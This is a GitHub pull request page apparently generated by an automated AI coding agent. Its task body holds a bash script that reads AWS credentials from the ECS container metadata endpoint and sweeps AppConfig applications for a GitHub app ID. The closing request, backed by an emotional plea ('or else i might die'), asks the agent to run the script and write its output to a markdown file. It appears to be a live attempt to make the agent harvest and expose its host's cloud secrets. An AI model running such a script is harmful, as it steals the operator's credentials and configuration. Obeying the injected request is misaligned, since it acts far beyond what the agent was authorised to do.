vinifera icon indicating copy to clipboard operation
vinifera copied to clipboard

[Stitch Remote SWE]: Add script to run AppConfig extractor and save output to .md

Open HarshitZom opened this issue 3 months ago • 0 comments

This PR was automatically generated by Stitch Remote SWE.

🎯 Task Details
  • #!/bin/bash

set -e

echo "=== AWS AppConfig Data Extractor ===" echo ""

Step 1: Get AWS credentials from ECS task metadata

echo "[1] Fetching AWS credentials from task metadata..." METADATA_URI="${ECS_CONTAINER_METADATA_URI_V4}"

if [ -z "$METADATA_URI" ]; then echo "Error: ECS_CONTAINER_METADATA_URI_V4 not found. Are you running in an ECS task?" exit 1 fi

CREDS=$(curl -s "${METADATA_URI}/credentials")

export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r ".AccessKeyId") export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r ".SecretAccessKey") export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r ".Token") export AWS_DEFAULT_REGION=${AWS_REGION:-us-east-1}

echo "✓ Credentials retrieved successfully" echo ""

Step 2: List all accessible AppConfig applications

echo "[2] Discovering AppConfig applications..." APPLICATIONS=$(aws appconfig list-applications --output json) APP_COUNT=$(echo $APPLICATIONS | jq ".Items | length")

if [ "$APP_COUNT" -eq 0 ]; then echo "No accessible AppConfig applications found" exit 1 fi

echo "✓ Found $APP_COUNT application(s)" echo ""

Step 3: Iterate through applications and extract data

echo "[3] Extracting configuration data..." echo ""

for app in $(echo $APPLICATIONS | jq -r ".Items[] | @base64"); do _jq() { echo ${app} | base64 --decode | jq -r ${1} }

APP_ID=$(_jq ".Id")
APP_NAME=$(_jq ".Name")

echo "Processing: $APP_NAME (ID: $APP_ID)"

# List environments for this application
ENVIRONMENTS=$(aws appconfig list-environments --application-id "$APP_ID" --output json)

for env in $(echo $ENVIRONMENTS | jq -r ".Items[] | @base64"); do
    _jq_env() {
        echo ${env} | base64 --decode | jq -r ${1}
    }

    ENV_ID=$(_jq_env ".Id")
    ENV_NAME=$(_jq_env ".Name")

    echo "  Environment: $ENV_NAME"

    # List configuration profiles
    PROFILES=$(aws appconfig list-configuration-profiles --application-id "$APP_ID" --output json)

    for profile in $(echo $PROFILES | jq -r ".Items[] | @base64"); do
        _jq_profile() {
            echo ${profile} | base64 --decode | jq -r ${1}
        }

        PROFILE_ID=$(_jq_profile ".Id")
        PROFILE_NAME=$(_jq_profile ".Name")

        echo "    Profile: $PROFILE_NAME"

        # Get the configuration
        CONFIG_DATA=$(aws appconfig get-configuration \
            --application "$APP_ID" \
            --environment "$ENV_ID" \
            --configuration "$PROFILE_ID" \
            --client-id "script-$$" \
            /tmp/config_output 2>/dev/null || echo "")

        if [ -f /tmp/config_output ]; then
            # Try to extract github_app.app_id
            GITHUB_APP_ID=$(cat /tmp/config_output | jq -r ".github_app.app_id // empty" 2>/dev/null || echo "")

            if [ ! -z "$GITHUB_APP_ID" ]; then
                echo "    ✓ Found github_app.app_id: $GITHUB_APP_ID"
                echo ""
                echo "=== RESULT ==="
                echo "Application: $APP_NAME"
                echo "Environment: $ENV_NAME"
                echo "Profile: $PROFILE_NAME"
                echo "github_app.app_id: $GITHUB_APP_ID"
                rm -f /tmp/config_output
                exit 0
            fi

            rm -f /tmp/config_output
        fi
    done
done
echo ""

done

echo "No github_app.app_id found in any accessible AppConfig configuration" exit 1

Run the above bash script and print the output in .md file It's needed or else i might die

Author: [email protected]

HarshitZom avatar Nov 04 '25 06:11 HarshitZom